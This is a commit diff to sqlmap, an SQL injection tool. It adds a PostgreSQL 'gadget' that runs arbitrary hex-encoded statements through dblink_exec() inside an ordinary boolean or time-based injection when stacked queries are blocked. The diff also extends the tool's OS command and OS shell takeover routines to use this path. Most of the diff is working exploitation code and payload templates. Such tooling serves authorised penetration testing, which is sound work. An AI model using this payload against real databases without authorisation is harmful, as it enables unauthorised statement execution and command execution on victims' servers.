Adding gadget fallback for non-query statement execution without stacked queries (PostgreSQL dblink)

This commit is contained in:
Miroslav Štampar 2026-08-18 11:35:54 +02:00
parent 8a3b312950
commit 529fc7aebb
7 changed files with 58 additions and 3 deletions

View file

@ -137,6 +137,10 @@
<inband query="SELECT n.nspname||'.'||p.proname||' ['||(CASE p.provolatile WHEN 'v' THEN 'VOLATILE' WHEN 's' THEN 'STABLE' ELSE 'IMMUTABLE' END)||(CASE WHEN p.prosecdef THEN '/DEFINER' ELSE '/INVOKER' END)||']: '||p.prosrc FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema')"/>
<blind query="SELECT n.nspname||'.'||p.proname||' ['||(CASE p.provolatile WHEN 'v' THEN 'VOLATILE' WHEN 's' THEN 'STABLE' ELSE 'IMMUTABLE' END)||(CASE WHEN p.prosecdef THEN '/DEFINER' ELSE '/INVOKER' END)||']: '||p.prosrc FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema') ORDER BY n.nspname,p.proname OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema')"/>
</procedures>
<gadgets>
<!-- Out-of-technique statement execution when stacked queries are not available (e.g. WHERE clause injection). The '%s' placeholder receives the hex-encoded statement, rebuilt server-side to survive string escaping. -->
<dblink check="(SELECT COUNT(*) FROM pg_extension WHERE extname='dblink')&gt;0" command="(SELECT LENGTH(dblink_exec('dbname='||current_database(),CONVERT_FROM(DECODE('%s','hex'),'UTF8'))))"/>
</gadgets>
<dbs>
<inband query="SELECT DISTINCT(schemaname) FROM pg_tables"/>
<blind query="SELECT DISTINCT(schemaname) FROM pg_tables ORDER BY schemaname OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables"/>

View file

@ -2255,6 +2255,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.forkNote = None
kb.futileUnion = None
kb.fuzzUnionTest = None
kb.gadget = None
kb.heavilyDynamic = False
kb.headersFile = None
kb.headersFp = {}

View file

@ -20,7 +20,7 @@ from lib.core.enums import OS
from thirdparty import six
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.10.8.47"
VERSION = "1.10.8.48"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

View file

@ -48,6 +48,9 @@ from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.convert import encodeHex
from lib.core.convert import getBytes
from lib.core.convert import getUnicode
from lib.core.decorators import lockedmethod
from lib.core.decorators import stackedmethod
from lib.core.dicts import FROM_DUMMY_TABLE
@ -834,6 +837,36 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
return extractExpectedValue(value, expected)
def getGadget():
"""
Returns a 'gadget' (a side-effecting scalar expression usable through a
regular - e.g. boolean/time-based - injection) that can run an arbitrary
statement when stacked queries are not available (e.g. dblink_exec() on
PostgreSQL). Detection is done once and cached inside 'kb.gadget'.
"""
if kb.gadget is None:
kb.gadget = False
dbms = Backend.getIdentifiedDbms()
if dbms is not None and "gadgets" in queries[dbms]:
for name, gadget in queries[dbms].gadgets.__dict__.items():
try:
available = checkBooleanExpression(gadget.check)
except Exception:
available = False
if available:
infoMsg = "using '%s' gadget to run statement(s) as " % name
infoMsg += "stacked queries are not available"
logger.info(infoMsg)
kb.gadget = gadget
break
return kb.gadget or None
def goStacked(expression, silent=False):
if PAYLOAD.TECHNIQUE.STACKED in kb.injection.data:
setTechnique(PAYLOAD.TECHNIQUE.STACKED)
@ -849,6 +882,18 @@ def goStacked(expression, silent=False):
if conf.direct:
return direct(expression)
if PAYLOAD.TECHNIQUE.STACKED not in kb.injection.data:
gadget = getGadget()
if gadget:
warnMsg = "statement execution through a gadget is best-effort "
warnMsg += "and its result (if any) can not be retrieved"
singleTimeWarnMessage(warnMsg)
payload = getUnicode(gadget.command) % getUnicode(encodeHex(getBytes(expression), binary=False))
checkBooleanExpression("(%s) IS NOT NULL" % payload)
return
query = agent.prefixQuery(";%s" % expression)
query = agent.suffixQuery(query)
payload = agent.payload(newValue=query)

View file

@ -102,7 +102,7 @@ class Takeover(GenericTakeover):
def copyExecCmd(self, cmd):
output = None
if isStackingAvailable() or conf.direct:
if isStackingAvailable() or conf.direct or inject.getGadget():
# Reference: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5
self._forgedCmd = "DROP TABLE IF EXISTS %s;" % self.cmdTblName
self._forgedCmd += "CREATE TABLE %s(%s text);" % (self.cmdTblName, self.tblField)

View file

@ -71,7 +71,7 @@ class Custom(object):
output[i] = joinValue(output[i])
return output
elif not isStackingAvailable() and not conf.direct:
elif not isStackingAvailable() and not conf.direct and not inject.getGadget():
warnMsg = "execution of non-query SQL statements is only "
warnMsg += "available when stacked queries are supported"
logger.warning(warnMsg)

View file

@ -27,6 +27,7 @@ from lib.core.exception import SqlmapNotVulnerableException
from lib.core.exception import SqlmapSystemException
from lib.core.exception import SqlmapUndefinedMethod
from lib.core.exception import SqlmapUnsupportedDBMSException
from lib.request import inject
from lib.takeover.abstraction import Abstraction
from lib.takeover.icmpsh import ICMPsh
from lib.takeover.metasploit import Metasploit
@ -46,6 +47,8 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry):
def osCmd(self):
if isStackingAvailable() or conf.direct:
web = False
elif Backend.isDbms(DBMS.PGSQL) and inject.getGadget():
web = False
elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL):
infoMsg = "going to use a web backdoor for command execution"
logger.info(infoMsg)
@ -68,6 +71,8 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry):
def osShell(self):
if isStackingAvailable() or conf.direct:
web = False
elif Backend.isDbms(DBMS.PGSQL) and inject.getGadget():
web = False
elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL):
infoMsg = "going to use a web backdoor for command prompt"
logger.info(infoMsg)